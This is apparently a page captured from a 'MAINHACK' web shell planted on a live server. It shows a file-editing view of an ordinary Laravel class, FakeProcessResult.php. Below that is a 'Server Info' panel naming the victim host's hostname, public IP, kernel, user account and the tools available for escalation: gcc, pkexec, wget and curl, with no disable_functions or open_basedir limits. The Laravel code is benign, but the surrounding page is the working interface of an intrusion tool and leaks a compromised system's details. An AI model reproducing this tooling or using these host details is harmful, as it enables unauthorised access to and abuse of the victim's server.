[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FakeProcessResult.php
<?php namespace Illuminate\Process; use Illuminate\Contracts\Process\ProcessResult as ProcessResultContract; use Illuminate\Process\Exceptions\ProcessFailedException; class FakeProcessResult implements ProcessResultContract { /** * The command string. * * @var string */ protected $command; /** * The process exit code. * * @var int */ protected $exitCode; /** * The process output. * * @var string */ protected $output = ''; /** * The process error output. * * @var string */ protected $errorOutput = ''; /** * Create a new process result instance. * * @param string $command * @param int $exitCode * @param array|string $output * @param array|string $errorOutput * @return void */ public function __construct(string $command = '', int $exitCode = 0, array|string $output = '', array|string $errorOutput = '') { $this->command = $command; $this->exitCode = $exitCode; $this->output = $this->normalizeOutput($output); $this->errorOutput = $this->normalizeOutput($errorOutput); } /** * Normalize the given output into a string with newlines. * * @param array|string $output * @return string */ protected function normalizeOutput(array|string $output) { if (empty($output)) { return ''; } elseif (is_string($output)) { return rtrim($output, "\n")."\n"; } elseif (is_array($output)) { return rtrim( collect($output) ->map(fn ($line) => rtrim($line, "\n")."\n") ->implode(''), "\n" ); } } /** * Get the original command executed by the process. * * @return string */ public function command() { return $this->command; } /** * Create a new fake process result with the given command. * * @param string $command * @return self */ public function withCommand(string $command) { return new FakeProcessResult($command, $this->exitCode, $this->output, $this->errorOutput); } /** * Determine if the process was successful. * * @return bool */ public function successful() { return $this->exitCode === 0; } /** * Determine if the process failed. * * @return bool */ public function failed() { return ! $this->successful(); } /** * Get the exit code of the process. * * @return int */ public function exitCode() { return $this->exitCode; } /** * Get the standard output of the process. * * @return string */ public function output() { return $this->output; } /** * Determine if the output contains the given string. * * @param string $output * @return bool */ public function seeInOutput(string $output) { return str_contains($this->output(), $output); } /** * Get the error output of the process. * * @return string */ public function errorOutput() { return $this->errorOutput; } /** * Determine if the error output contains the given string. * * @param string $output * @return bool */ public function seeInErrorOutput(string $output) { return str_contains($this->errorOutput(), $output); } /** * Throw an exception if the process failed. * * @param callable|null $callback * @return $this * * @throws \Illuminate\Process\Exceptions\ProcessFailedException */ public function throw(?callable $callback = null) { if ($this->successful()) { return $this; } $exception = new ProcessFailedException($this); if ($callback) { $callback($this, $exception); } throw $exception; } /** * Throw an exception if the process failed and the given condition is true. * * @param bool $condition * @param callable|null $callback * @return $this * * @throws \Throwable */ public function throwIf(bool $condition, ?callable $callback = null) { if ($condition) { return $this->throw($callback); } return $this; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.44 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002